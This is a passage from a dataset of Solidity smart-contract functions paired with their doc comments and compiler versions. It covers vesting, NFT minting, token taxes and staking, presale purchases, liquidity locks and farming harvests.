\"VestingContract::updateScheduleBeneficiary: There is no schedule currently in flight\"\r\n );\r\n require(_drawDown(_currentBeneficiary), \"VestingContract::_updateScheduleBeneficiary: Unable to drawn down\");\r\n\r\n // the old schedule is now void\r\n voided[_currentBeneficiary] = true;\r\n\r\n // setup new schedule with the amount left after the previous beneficiary's draw down\r\n vestingSchedule[_newBeneficiary] = Schedule({\r\n amount : schedule.amount.sub(totalDrawn[_currentBeneficiary]),\r\n depositAccount : schedule.depositAccount\r\n });\r\n\r\n vestingSchedule[_newBeneficiary].depositAccount.switchBeneficiary(_newBeneficiary);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice Vesting schedule and associated data for a beneficiary\r\n * @dev Must be called directly by the beneficiary assigned the tokens in the schedule\r\n * @return _amount\r\n * @return _totalDrawn\r\n * @return _lastDrawnAt\r\n * @return _drawDownRate\r\n * @return _remainingBalance\r\n * @return _depositAccountAddress\r\n */", "function_code": "function vestingScheduleForBeneficiary(address _beneficiary)\r\n external view\r\n returns (\r\n uint256 _amount,\r\n uint256 _totalDrawn,\r\n uint256 _lastDrawnAt,\r\n uint256 _drawDownRate,\r\n uint256 _remainingBalance,\r\n address _depositAccountAddress\r\n ) {\r\n Schedule memory schedule = vestingSchedule[_beneficiary];\r\n return (\r\n schedule.amount,\r\n totalDrawn[_beneficiary],\r\n lastDrawnAt[_beneficiary],\r\n schedule.amount.div(end.sub(start)),\r\n schedule.amount.sub(totalDrawn[_beneficiary]),\r\n address(schedule.depositAccount)\r\n );\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev External function to mint a new token.\r\n * Reverts if the given token ID already exists.\r\n * @param to The address that will own the minted token\r\n * @param tokenId uint256 ID of the token to be minted\r\n */", "function_code": "function mint(address to, uint256 tokenId, uint256 metadataHash) external payable {\r\n require(to != address(0), \"ERC721: mint to the zero address\");\r\n require(!_exists(tokenId), \"ERC721: token already minted\");\r\n require(msg.value >= _mintFee, \"Fee not provided\");\r\n\r\n _feeRecipient.transfer(msg.value);\r\n\r\n _tokenOwner[tokenId] = to;\r\n _ownedTokensCount[to].increment();\r\n\r\n emit Transfer(address(0), to, tokenId);\r\n\r\n _tokenMetadataHashes[tokenId] = metadataHash;\r\n _addTokenToOwnerEnumeration(to, tokenId);\r\n _addTokenToAllTokensEnumeration(tokenId);\r\n }", "version": "0.5.17"} {"comment": "/**\n Claims tokens for free paying only gas fees\n */", "function_code": "function preMint(\n uint256 number,\n bytes32 messageHash,\n bytes calldata signature\n ) external virtual {\n require(\n hashMessage(number, msg.sender) == messageHash,\n \"MESSAGE_INVALID\"\n );\n require(\n verifyAddressSigner(giftAddress, messageHash, signature),\n \"SIGNATURE_VALIDATION_FAILED\"\n );\n require(\n premintClaimed[msg.sender] == false,\n \"CryptoWolvesClub: You already claimed your premint tokens.\"\n );\n\n premintClaimed[msg.sender] = true;\n\n for (uint256 i = 0; i < number; i++) {\n _safeMint(msg.sender, _tokenIdCounter.current());\n _tokenIdCounter.increment();\n }\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Set a token with a specific crew collection\n * @param _crewId The ERC721 tokenID for the crew member\n * @param _collId The set ID to assign the crew member to\n * @param _mod An optional modifier ranging from 0 (default) to 10,000\n */", "function_code": "function setToken(uint _crewId, uint _collId, uint _mod) external onlyManagers {\n require(address(_generators[_collId]) != address(0), \"CrewFeatures: collection must be defined\");\n _crewCollection[_crewId] = _collId;\n\n if (_mod > 0) {\n _crewModifiers[_crewId] = _mod;\n }\n }", "version": "0.7.6"} {"comment": "// ============ Only-Solo Functions ============", "function_code": "function getTradeCost(\r\n uint256 inputMarketId,\r\n uint256 outputMarketId,\r\n Account.Info memory /* makerAccount */,\r\n Account.Info memory takerAccount,\r\n Types.Par memory oldInputPar,\r\n Types.Par memory newInputPar,\r\n Types.Wei memory inputWei,\r\n bytes memory /* data */\r\n )\r\n public\r\n /* view */\r\n returns (Types.AssetAmount memory)\r\n {\r\n Require.that(\r\n g_migrators[takerAccount.owner],\r\n FILE,\r\n \"Migrator not approved\",\r\n takerAccount.owner\r\n );\r\n\r\n Require.that(\r\n inputMarketId == SAI_MARKET && outputMarketId == DAI_MARKET,\r\n FILE,\r\n \"Invalid markets\"\r\n );\r\n\r\n // require that SAI amount is getting smaller (closer to zero)\r\n if (oldInputPar.isPositive()) {\r\n Require.that(\r\n inputWei.isNegative(),\r\n FILE,\r\n \"inputWei must be negative\"\r\n );\r\n Require.that(\r\n !newInputPar.isNegative(),\r\n FILE,\r\n \"newInputPar cannot be negative\"\r\n );\r\n } else if (oldInputPar.isNegative()) {\r\n Require.that(\r\n inputWei.isPositive(),\r\n FILE,\r\n \"inputWei must be positive\"\r\n );\r\n Require.that(\r\n !newInputPar.isPositive(),\r\n FILE,\r\n \"newInputPar cannot be positive\"\r\n );\r\n } else {\r\n Require.that(\r\n inputWei.isZero() && newInputPar.isZero(),\r\n FILE,\r\n \"inputWei must be zero\"\r\n );\r\n }\r\n\r\n /* return the exact opposite amount of SAI in DAI */\r\n return Types.AssetAmount ({\r\n sign: !inputWei.sign,\r\n denomination: Types.AssetDenomination.Wei,\r\n ref: Types.AssetReference.Delta,\r\n value: inputWei.value\r\n });\r\n }", "version": "0.5.7"} {"comment": "// concatenate the baseURI with the tokenId", "function_code": "function tokenURI(uint256 tokenId) public view virtual override returns(string memory) {\r\n require(_exists(tokenId), \"token does not exist\");\r\n\r\n if (tokenIdToFrozenForArt[tokenId]) {\r\n string memory lockedBaseURI = _lockedBaseURI();\r\n return bytes(lockedBaseURI).length > 0 ? string(abi.encodePacked(lockedBaseURI, Strings.toString(tokenIdToMetadataId[tokenId]))) : \"\";\r\n }\r\n\r\n string memory baseURI = _baseURI();\r\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, Strings.toString(tokenIdToMetadataId[tokenId]))) : \"\";\r\n }", "version": "0.8.7"} {"comment": "// Used to request a 3D body for your voxmon\n// Freezes transfers re-rolling a voxmon", "function_code": "function request3DArt(uint256 tokenId) external {\r\n require(block.timestamp >= artStartTime, \"you cannot freeze your Voxmon yet\");\r\n require(ownerOf(tokenId) == msg.sender, \"you must own this token to request Art\");\r\n require(tokenIdToFrozenForArt[tokenId] == false, \"art has already been requested for that Voxmon\");\r\n tokenIdToFrozenForArt[tokenId] = true;\r\n\r\n emit artRequestedEvent(msg.sender, tokenId);\r\n }", "version": "0.8.7"} {"comment": "// Mint a Voxmon\n// Cost is 0.07 ether", "function_code": "function mint(address recipient) payable public returns (uint256) {\r\n require(_isTokenAvailable(), \"max live supply reached, to get a new Voxmon you\\'ll need to reroll an old one\");\r\n require(msg.value >= MINT_COST, \"not enough ether, minting costs 0.07 ether\");\r\n require(block.timestamp >= startingTime, \"public mint hasn\\'t started yet\");\r\n\r\n _tokensMinted.increment();\r\n \r\n uint256 newTokenId = _tokensMinted.current();\r\n uint256 metadataId = _tokensMinted.current() + _tokensRerolled.current();\r\n \r\n _mint(recipient, newTokenId);\r\n tokenIdToMetadataId[newTokenId] = metadataId;\r\n\r\n emit mintEvent(recipient, newTokenId, metadataId);\r\n\r\n return newTokenId;\r\n }", "version": "0.8.7"} {"comment": "// Mint multiple Voxmon\n// Cost is 0.07 ether per Voxmon", "function_code": "function mint(address recipient, uint256 numberToMint) payable public returns (uint256[] memory) {\r\n require(numberToMint > 0);\r\n require(numberToMint <= 10, \"max 10 voxmons per transaction\");\r\n require(msg.value >= MINT_COST * numberToMint);\r\n\r\n uint256[] memory tokenIdsMinted = new uint256[](numberToMint);\r\n\r\n for(uint i = 0; i < numberToMint; i++) {\r\n tokenIdsMinted[i] = mint(recipient);\r\n }\r\n\r\n return tokenIdsMinted;\r\n }", "version": "0.8.7"} {"comment": "// Mint a free Voxmon", "function_code": "function preReleaseMint(address recipient) public returns (uint256) {\r\n require(remainingPreReleaseMints[msg.sender] > 0, \"you have 0 remaining pre-release mints\");\r\n remainingPreReleaseMints[msg.sender] = remainingPreReleaseMints[msg.sender] - 1;\r\n\r\n require(_isTokenAvailable(), \"max live supply reached, to get a new Voxmon you\\'ll need to reroll an old one\");\r\n\r\n _tokensMinted.increment();\r\n \r\n uint256 newTokenId = _tokensMinted.current();\r\n uint256 metadataId = _tokensMinted.current() + _tokensRerolled.current();\r\n \r\n _mint(recipient, newTokenId);\r\n tokenIdToMetadataId[newTokenId] = metadataId;\r\n\r\n emit mintEvent(recipient, newTokenId, metadataId);\r\n\r\n return newTokenId;\r\n }", "version": "0.8.7"} {"comment": "// Mint multiple free Voxmon", "function_code": "function preReleaseMint(address recipient, uint256 numberToMint) public returns (uint256[] memory) {\r\n require(remainingPreReleaseMints[msg.sender] >= numberToMint, \"You don\\'t have enough remaining pre-release mints\");\r\n\r\n uint256[] memory tokenIdsMinted = new uint256[](numberToMint);\r\n\r\n for(uint i = 0; i < numberToMint; i++) {\r\n tokenIdsMinted[i] = preReleaseMint(recipient);\r\n }\r\n\r\n return tokenIdsMinted;\r\n }", "version": "0.8.7"} {"comment": "// Re-Roll a Voxmon\n// Cost is 0.01 ether ", "function_code": "function reroll(uint256 tokenId) payable public returns (uint256) {\r\n require(ownerOf(tokenId) == msg.sender, \"you must own this token to reroll\");\r\n require(msg.value >= REROLL_COST, \"not enough ether, rerolling costs 0.03 ether\");\r\n require(tokenIdToFrozenForArt[tokenId] == false, \"this token is frozen\");\r\n \r\n _tokensRerolled.increment();\r\n uint256 newMetadataId = _tokensMinted.current() + _tokensRerolled.current();\r\n\r\n tokenIdToMetadataId[tokenId] = newMetadataId;\r\n \r\n emit rerollEvent(msg.sender, tokenId, newMetadataId);\r\n\r\n return newMetadataId;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev For each boosted vault, poke all the over boosted accounts.\r\n * @param _vaultAccounts An array of PokeVaultAccounts structs\r\n */", "function_code": "function poke(PokeVaultAccounts[] memory _vaultAccounts) external {\r\n uint vaultCount = _vaultAccounts.length;\r\n for(uint i = 0; i < vaultCount; i++) {\r\n PokeVaultAccounts memory vaultAccounts = _vaultAccounts[i];\r\n address boostVaultAddress = vaultAccounts.boostVault;\r\n require(boostVaultAddress != address(0), \"blank vault address\");\r\n IBoostedVaultWithLockup boostVault = IBoostedVaultWithLockup(boostVaultAddress);\r\n\r\n uint accountsLength = vaultAccounts.accounts.length;\r\n for(uint j = 0; j < accountsLength; j++) {\r\n address accountAddress = vaultAccounts.accounts[j];\r\n require(accountAddress != address(0), \"blank address\");\r\n boostVault.pokeBoost(accountAddress);\r\n }\r\n }\r\n }", "version": "0.8.2"} {"comment": "// public sale", "function_code": "function safeMint(uint8 count) external payable {\n require(saleState == 3, \"public sale is not begun\");\n require(count > 0 && count <= 3, \"invalid count\");\n\n uint256 price = tokenPrice * count;\n require(msg.value >= price, \"insufficient value\");\n payable(owner()).transfer(price);\n payable(_msgSender()).transfer(msg.value - price);\n\n require(balanceOf(_msgSender()) < 9, \"public sale max total buy reached\");\n\n for (uint256 i = 0; i < count; i++) {\n _safeMint(_msgSender(), _tokenId++);\n }\n }", "version": "0.8.12"} {"comment": "// burn tokens, allowing sent ETH to be converted according to gweiPerGoof", "function_code": "function burnTokens(uint256 amount) private {\n if (msg.value > 0 && gweiPerGoof > 0) {\n uint256 converted = (msg.value * 1 gwei) / gweiPerGoof;\n if (converted >= amount) {\n amount = 0;\n } else {\n amount -= converted;\n }\n }\n if (amount > 0) {\n _burn(msg.sender, amount);\n }\n }", "version": "0.8.9"} {"comment": "// This is the function that will be called postLoan\n// i.e. Encode the logic to handle your flashloaned funds here", "function_code": "function callFunction(\r\n address sender,\r\n Account.Info memory account,\r\n bytes memory data\r\n ) public {\r\n MyCustomData memory mcd = abi.decode(data, (MyCustomData));\r\n\r\n IERC20 token1 = IERC20(mcd.loanedToken);\r\n IERC20 token2 = IERC20(mcd.otherToken);\r\n\r\n // STEP 1 - TRADE LOANED TOKEN TO OTHER TOKEN ////////////////////////////////\r\n\r\n token1.approve(OneSplitAddress,0);\r\n token1.approve(OneSplitAddress,mcd.repayAmount-2);\r\n\r\n (uint256 returnAmount1, uint256[] memory distribution1) = IOneSplit(\r\n OneSplitAddress\r\n ).getExpectedReturn(\r\n token1,\r\n token2,\r\n mcd.repayAmount-2,\r\n 10,\r\n 0\r\n );\r\n\r\n uint256 balanceBefore1 = token2.balanceOf(address(this));\r\n\r\n IOneSplit(OneSplitAddress).swap(\r\n token1,\r\n token2,\r\n mcd.repayAmount-2,\r\n returnAmount1,\r\n distribution1,\r\n 0\r\n );\r\n\r\n uint256 balanceAfter1 = token2.balanceOf(address(this));\r\n\r\n uint256 result1 = balanceAfter1 - balanceBefore1;\r\n\r\n // STEP 2 - TRADE OTHER TOKEN BACK TO LOANED TOKEN ///////////////////////////\r\n\r\n token2.approve(OneSplitAddress,0);\r\n token2.approve(OneSplitAddress,result1);\r\n\r\n (uint256 returnAmount2, uint256[] memory distribution2) = IOneSplit(\r\n OneSplitAddress\r\n ).getExpectedReturn(\r\n token2,\r\n token1,\r\n result1,\r\n 10,\r\n 0\r\n );\r\n\r\n uint256 balanceBefore2 = token1.balanceOf(address(this));\r\n\r\n IOneSplit(OneSplitAddress).swap(\r\n token2,\r\n token1,\r\n result1,\r\n returnAmount2,\r\n distribution2,\r\n 0\r\n );\r\n\r\n uint256 balanceAfter2 = token1.balanceOf(address(this));\r\n\r\n uint256 result2 = balanceAfter2 - balanceBefore2;\r\n\r\n // STEP 3 - CALCULATE PROFIT /////////////////////////////////////////////////\r\n\r\n require(mcd.repayAmount < (result2-mcd.gasFee), \"No profit.\");\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @dev transfer token for a specified address and forward the parameters to token recipient if any\r\n * @param _to The address to transfer to.\r\n * @param _value The amount to be transferred.\r\n * @param _param1 Parameter 1 for the token recipient\r\n * @param _param2 Parameter 2 for the token recipient\r\n * @param _param3 Parameter 3 for the token recipient\r\n */", "function_code": "function transferWithParams(address _to, uint256 _value, uint256 _param1, uint256 _param2, uint256 _param3) onlyPayloadSize(5 * 32) external returns (bool) {\r\n require(_to != address(0));\r\n require(_value <= balances[msg.sender]);\r\n\r\n // SafeMath.sub will throw if there is not enough balance.\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n emit Transfer(msg.sender, _to, _value);\r\n\r\n _invokeTokenRecipient(msg.sender, _to, _value, _param1, _param2, _param3);\r\n\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\n * @dev Buyouts a position's collateral\n * @param asset The address of the main collateral token of a position\n * @param user The owner of a position\n **/", "function_code": "function buyout(address asset, address user) public nonReentrant {\n require(vault.liquidationBlock(asset, user) != 0, \"Unit Protocol: LIQUIDATION_NOT_TRIGGERED\");\n uint startingPrice = vault.liquidationPrice(asset, user);\n uint blocksPast = block.number.sub(vault.liquidationBlock(asset, user));\n uint devaluationPeriod = vaultManagerParameters.devaluationPeriod(asset);\n uint debt = vault.getTotalDebt(asset, user);\n uint penalty = debt.mul(vault.liquidationFee(asset, user)).div(DENOMINATOR_1E2);\n uint mainAssetInPosition = vault.collaterals(asset, user);\n uint colInPosition = vault.colToken(asset, user);\n\n uint mainToLiquidator;\n uint colToLiquidator;\n uint mainToOwner;\n uint colToOwner;\n uint repayment;\n\n (mainToLiquidator, colToLiquidator, mainToOwner, colToOwner, repayment) = _calcLiquidationParams(\n devaluationPeriod,\n blocksPast,\n startingPrice,\n debt.add(penalty),\n mainAssetInPosition,\n colInPosition\n );\n\n _liquidate(\n asset,\n user,\n mainToLiquidator,\n colToLiquidator,\n mainToOwner,\n colToOwner,\n repayment,\n penalty\n );\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice The aim is to create a conditional payment and find someone to buy the counter position\r\n *\r\n * Parameters to forward to master contract:\r\n * @param long .. Decide if you want to be in the long or short position of your contract.\r\n * @param dueDate .. Set a due date of your contract. Make sure this is supported by us. Use OD.exchange to avoid conflicts here.\r\n * @param strikePrice .. Choose a strike price which will be used at due date for calculation of your payout. Make sure that the format is correct. Use OD.exchange to avoid mistakes.\r\n */", "function_code": "function createContractWithBounty (\r\n bool long,\r\n uint256 dueDate,\r\n uint256 strikePrice\r\n )\r\n payable\r\n public\r\n {\r\n // New conditional payment must be created before deadline exceeded\r\n require(now < deadline);\r\n\r\n // Only once per creator address\r\n require(!bountyPermission[msg.sender]);\r\n bountyPermission[msg.sender] = true;\r\n\r\n // Only first customers can get bounty\r\n numberOfGivenBounties += 1;\r\n require(numberOfGivenBounties <= maxNumberOfBounties);\r\n\r\n // Create new conditional payment in master contract:\r\n Master master = Master(masterAddress);\r\n address newConditionalPayment = master.createConditionalPayment.value(msg.value)(\r\n msg.sender,\r\n long,\r\n dueDate,\r\n strikePrice\r\n );\r\n\r\n // Attribute conditional payment to creator\r\n creatorsConditionalPaymentAddress[msg.sender] = newConditionalPayment;\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @notice Withdraw the bounty after creation of conditional payment and finding counter party\r\n */", "function_code": "function withdrawBounty ()\r\n public\r\n {\r\n // Creator needs to have permission\r\n require(bountyPermission[msg.sender]);\r\n bountyPermission[msg.sender] = false;\r\n\r\n // Only one withdraw per creator\r\n require(!gotBounty[msg.sender]);\r\n gotBounty[msg.sender] = true;\r\n\r\n ConditionalPayment conditionalPayment = ConditionalPayment(creatorsConditionalPaymentAddress[msg.sender]);\r\n\r\n // Conditional payment needs to have at least one counter party\r\n require(conditionalPayment.countCounterparties() > 0);\r\n\r\n msg.sender.transfer(bounty);\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @notice Owner can withdraw bounty permission if creators did not succeed to find a taker before the deadline\r\n */", "function_code": "function withdrawPermission (address unsuccessfulCreator)\r\n public\r\n onlyByOwner\r\n deadlineExceeded\r\n {\r\n // Unsuccessful criterium\r\n ConditionalPayment conditionalPayment = ConditionalPayment(creatorsConditionalPaymentAddress[unsuccessfulCreator]);\r\n require(conditionalPayment.countCounterparties() == 0);\r\n\r\n // Disqualify creator from bounty\r\n bountyPermission[unsuccessfulCreator] = false;\r\n creatorsConditionalPaymentAddress[msg.sender] = 0x0000000000000000000000000000000000000000;\r\n\r\n numberOfGivenBounties -= 1;\r\n }", "version": "0.5.8"} {"comment": "//Transfer functionality///\n//transfer function, every transfer runs through this function", "function_code": "function _transfer(address sender, address recipient, uint256 amount) private{\r\n require(sender != address(0), \"Transfer from zero\");\r\n require(recipient != address(0), \"Transfer to zero\");\r\n \r\n //Manually Excluded adresses are transfering tax and lock free\r\n bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient));\r\n \r\n //Transactions from and to the contract are always tax and lock free\r\n bool isContractTransfer=(sender==address(this) || recipient==address(this));\r\n \r\n //transfers between uniswapV2Router and uniswapV2Pair are tax and lock free\r\n address uniswapV2Router=address(_uniswapV2Router);\r\n bool isLiquidityTransfer = ((sender == _uniswapV2PairAddress && recipient == uniswapV2Router) \r\n || (recipient == _uniswapV2PairAddress && sender == uniswapV2Router));\r\n\r\n //differentiate between buy/sell/transfer to apply different taxes/restrictions\r\n bool isBuy=sender==_uniswapV2PairAddress|| sender == uniswapV2Router;\r\n bool isSell=recipient==_uniswapV2PairAddress|| recipient == uniswapV2Router;\r\n\r\n //Pick transfer\r\n if(isContractTransfer || isLiquidityTransfer || isExcluded){\r\n _feelessTransfer(sender, recipient, amount);\r\n }\r\n else{ \r\n //once trading is enabled, it can't be turned off again\r\n require(tradingEnabled,\"trading not yet enabled\");\r\n _taxedTransfer(sender,recipient,amount,isBuy,isSell);\r\n }\r\n }", "version": "0.8.9"} {"comment": "//Feeless transfer only transfers and autostakes", "function_code": "function _feelessTransfer(address sender, address recipient, uint256 amount) private{\r\n uint256 senderBalance = _balances[sender];\r\n require(senderBalance >= amount, \"Transfer exceeds balance\");\r\n //Removes token and handles staking\r\n _removeToken(sender,amount);\r\n //Adds token and handles staking\r\n _addToken(recipient, amount);\r\n \r\n emit Transfer(sender,recipient,amount);\r\n\r\n }", "version": "0.8.9"} {"comment": "//Total shares equals circulating supply minus excluded Balances", "function_code": "function _getTotalShares() public view returns (uint256){\r\n uint256 shares=_circulatingSupply;\r\n //substracts all excluded from shares, excluded list is limited to 30\r\n // to avoid creating a Honeypot through OutOfGas exeption\r\n for(uint i=0; i<_excludedFromStaking.length(); i++){\r\n shares-=_balances[_excludedFromStaking.at(i)];\r\n }\r\n return shares;\r\n }", "version": "0.8.9"} {"comment": "//adds Token to balances, adds new ETH to the toBePaid mapping and resets staking", "function_code": "function _addToken(address addr, uint256 amount) private {\r\n //the amount of token after transfer\r\n uint256 newAmount=_balances[addr]+amount;\r\n \r\n if(isExcludedFromStaking(addr)){\r\n _balances[addr]=newAmount;\r\n return;\r\n }\r\n \r\n //gets the payout before the change\r\n uint256 payment=_newDividentsOf(addr);\r\n //resets dividents to 0 for newAmount\r\n alreadyPaidShares[addr] = profitPerShare * newAmount;\r\n //adds dividents to the toBePaid mapping\r\n toBePaid[addr]+=payment; \r\n //sets newBalance\r\n _balances[addr]=newAmount;\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * This function can help owner to add larger than one addresses cap.\r\n */", "function_code": "function setBuyerCapBatch(address[] memory buyers, uint256[] memory amount) public onlyOwner onlyOpened {\r\n require(buyers.length == amount.length, \"Presale: buyers length and amount length not match\");\r\n require(buyers.length <= 100, \"Presale: the max size of batch is 100.\");\r\n \r\n for(uint256 i = 0; i < buyers.length; i ++) {\r\n _buyers_[buyers[i]].cap = amount[i];\r\n }\r\n }", "version": "0.8.7"} {"comment": "//gets the not dividents of a staker that aren't in the toBePaid mapping \n//returns wrong value for excluded accounts", "function_code": "function _newDividentsOf(address staker) private view returns (uint256) {\r\n uint256 fullPayout = profitPerShare * _balances[staker];\r\n // if theres an overflow for some unexpected reason, return 0, instead of \r\n // an exeption to still make trades possible\r\n if(fullPayout 0) {\r\n totalStakingReward += amount;\r\n uint256 totalShares=_getTotalShares();\r\n //when there are 0 shares, add everything to marketing budget\r\n if (totalShares == 0) {\r\n marketingBalance += amount;\r\n }else{\r\n //Increases profit per share based on current total shares\r\n profitPerShare += ((amount * DistributionMultiplier) / totalShares);\r\n }\r\n }\r\n }", "version": "0.8.9"} {"comment": "//withdraws all dividents of address", "function_code": "function claimBTC(address addr) private{\r\n require(!_isWithdrawing);\r\n _isWithdrawing=true;\r\n uint256 amount;\r\n if(isExcludedFromStaking(addr)){\r\n //if excluded just withdraw remaining toBePaid ETH\r\n amount=toBePaid[addr];\r\n toBePaid[addr]=0;\r\n }\r\n else{\r\n uint256 newAmount=_newDividentsOf(addr);\r\n //sets payout mapping to current amount\r\n alreadyPaidShares[addr] = profitPerShare * _balances[addr];\r\n //the amount to be paid \r\n amount=toBePaid[addr]+newAmount;\r\n toBePaid[addr]=0;\r\n }\r\n if(amount==0){//no withdraw if 0 amount\r\n _isWithdrawing=false;\r\n return;\r\n }\r\n totalPayouts+=amount;\r\n address[] memory path = new address[](2);\r\n path[0] = _uniswapV2Router.WETH(); //WETH\r\n path[1] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; //WETH\r\n\r\n _uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(\r\n 0,\r\n path,\r\n addr,\r\n block.timestamp);\r\n \r\n emit OnWithdrawBTC(amount, addr);\r\n _isWithdrawing=false;\r\n }", "version": "0.8.9"} {"comment": "//swaps the token on the contract for Marketing ETH and LP Token.\n//always swaps the sellLimit of token to avoid a large price impact", "function_code": "function _swapContractToken() private lockTheSwap{\r\n uint256 contractBalance=_balances[address(this)];\r\n uint16 totalTax=_liquidityTax+_stakingTax;\r\n uint256 tokenToSwap = _setSellAmount;\r\n //only swap if contractBalance is larger than tokenToSwap, and totalTax is unequal to 0\r\n if(contractBalance=targetBalanceLimit), \r\n \"newBalanceLimit needs to be at least target\");\r\n require((newSellLimit>=targetSellLimit), \r\n \"newSellLimit needs to be at least target\");\r\n\r\n balanceLimit = newBalanceLimit;\r\n sellLimit = newSellLimit; \r\n }", "version": "0.8.9"} {"comment": "//Release Liquidity Tokens once unlock time is over", "function_code": "function TeamReleaseLiquidity() public onlyOwner {\r\n //Only callable if liquidity Unlock time is over\r\n require(block.timestamp >= _liquidityUnlockTime, \"Not yet unlocked\");\r\n \r\n IuniswapV2ERC20 liquidityToken = IuniswapV2ERC20(_liquidityTokenAddress);\r\n uint256 amount = liquidityToken.balanceOf(address(this));\r\n\r\n //Liquidity release if something goes wrong at start\r\n liquidityToken.transfer(TeamWallet, amount);\r\n \r\n }", "version": "0.8.9"} {"comment": "//Removes Liquidity once unlock Time is over, ", "function_code": "function TeamRemoveLiquidity(bool addToStaking) public onlyOwner{\r\n //Only callable if liquidity Unlock time is over\r\n require(block.timestamp >= _liquidityUnlockTime, \"Not yet unlocked\");\r\n _liquidityUnlockTime=block.timestamp+DefaultLiquidityLockTime;\r\n IuniswapV2ERC20 liquidityToken = IuniswapV2ERC20(_liquidityTokenAddress);\r\n uint256 amount = liquidityToken.balanceOf(address(this));\r\n\r\n liquidityToken.approve(address(_uniswapV2Router),amount);\r\n //Removes Liquidity and either distributes liquidity ETH to stakers, or \r\n // adds them to marketing Balance\r\n //Token will be converted\r\n //to Liquidity and Staking ETH again\r\n uint256 initialETHBalance = address(this).balance;\r\n _uniswapV2Router.removeLiquidityETHSupportingFeeOnTransferTokens(\r\n address(this),\r\n amount,\r\n 0,\r\n 0,\r\n address(this),\r\n block.timestamp\r\n );\r\n uint256 newETHBalance = address(this).balance-initialETHBalance;\r\n if(addToStaking){\r\n _distributeStake(newETHBalance);\r\n }\r\n else{\r\n marketingBalance+=newETHBalance;\r\n }\r\n\r\n }", "version": "0.8.9"} {"comment": "// main function which will make the investments", "function_code": "function LetsInvest() public payable returns(uint) {\r\n require (msg.value > 100000000000000);\r\n require (msg.sender != address(0));\r\n uint invest_amt = msg.value;\r\n address payable investor = address(msg.sender);\r\n uint sBTCPortion = SafeMath.div(SafeMath.mul(invest_amt,sBTCPercentage),100);\r\n uint sETHPortion = SafeMath.sub(invest_amt, sBTCPortion);\r\n require (SafeMath.sub(invest_amt, SafeMath.add(sBTCPortion, sETHPortion)) ==0 );\r\n Invest2_sBTCContract.LetsInvestin_sBTC.value(sBTCPortion)(investor);\r\n Invest2_sETHContract.LetsInvestin_sETH.value(sETHPortion)(investor);\r\n }", "version": "0.5.12"} {"comment": "// Converts ETH to Tokens and sends new Tokens to the sender", "function_code": "receive () external payable {\r\n require(startDate > 0 && now.sub(startDate) <= 5 days);\r\n require(Token.balanceOf(address(this)) > 0);\r\n require(msg.value >= 0.1 ether && msg.value <= 60 ether);\r\n require(!presaleClosed);\r\n \r\n if (now.sub(startDate) <= 1 days) {\r\n amount = msg.value.mul(20);\r\n } else if(now.sub(startDate) > 1 days && now.sub(startDate) <= 2 days) {\r\n amount = msg.value.mul(35).div(2);\r\n } else if(now.sub(startDate) > 2 days && now.sub(startDate) <= 3 days) {\r\n amount = msg.value.mul(15);\r\n } else if(now.sub(startDate) > 3 days) {\r\n amount = msg.value.mul(25).div(2);\r\n }\r\n \r\n require(amount <= Token.balanceOf(address(this)));\r\n // update constants.\r\n totalSold = totalSold.add(amount);\r\n collectedETH = collectedETH.add(msg.value);\r\n // transfer the tokens.\r\n Token.transfer(msg.sender, amount);\r\n }", "version": "0.6.8"} {"comment": "// Converts ETH to Tokens 1and sends new Tokens to the sender", "function_code": "function contribute() external payable {\r\n require(startDate > 0 && now.sub(startDate) <= 5 days);\r\n require(Token.balanceOf(address(this)) > 0);\r\n require(msg.value >= 0.1 ether && msg.value <= 60 ether);\r\n require(!presaleClosed);\r\n \r\n if (now.sub(startDate) <= 1 days) {\r\n amount = msg.value.mul(20);\r\n } else if(now.sub(startDate) > 1 days && now.sub(startDate) <= 2 days) {\r\n amount = msg.value.mul(35).div(2);\r\n } else if(now.sub(startDate) > 2 days && now.sub(startDate) <= 3 days) {\r\n amount = msg.value.mul(15);\r\n } else if(now.sub(startDate) > 3 days) {\r\n amount = msg.value.mul(25).div(2);\r\n }\r\n \r\n require(amount <= Token.balanceOf(address(this)));\r\n // update constants.\r\n totalSold = totalSold.add(amount);\r\n collectedETH = collectedETH.add(msg.value);\r\n // transfer the tokens.\r\n Token.transfer(msg.sender, amount);\r\n }", "version": "0.6.8"} {"comment": "//event LogBool(uint8 id, bool value);\n//event LogAddress(uint8 id, address value);\n// Constructor function, initializes the contract and sets the core variables", "function_code": "function Exchange(address feeAccount_, uint256 makerFee_, uint256 takerFee_, address exchangeContract_, address DmexOracleContract_, address poolAddress) {\r\n owner = msg.sender;\r\n feeAccount = feeAccount_;\r\n makerFee = makerFee_;\r\n takerFee = takerFee_;\r\n\r\n exchangeContract = exchangeContract_;\r\n DmexOracleContract = DmexOracleContract_;\r\n\r\n pools[poolAddress] = true;\r\n }", "version": "0.4.25"} {"comment": "// public methods\n// public method to harvest all the unharvested epochs until current epoch - 1", "function_code": "function massHarvest() external returns (uint){\n uint totalDistributedValue;\n uint epochId = _getEpochId().sub(1); // fails in epoch 0\n // force max number of epochs\n if (epochId > NR_OF_EPOCHS) {\n epochId = NR_OF_EPOCHS;\n }\n\n for (uint128 i = lastEpochIdHarvested[msg.sender] + 1; i <= epochId; i++) {\n // i = epochId\n // compute distributed Value and do one single transfer at the end\n totalDistributedValue += _harvest(i);\n }\n\n emit MassHarvest(msg.sender, epochId - lastEpochIdHarvested[msg.sender], totalDistributedValue);\n\n if (totalDistributedValue > 0) {\n _xfund.transferFrom(_communityVault, msg.sender, totalDistributedValue);\n }\n\n return totalDistributedValue;\n }", "version": "0.6.12"} {"comment": "// internal methods", "function_code": "function _initEpoch(uint128 epochId) internal {\n require(lastInitializedEpoch.add(1) == epochId, 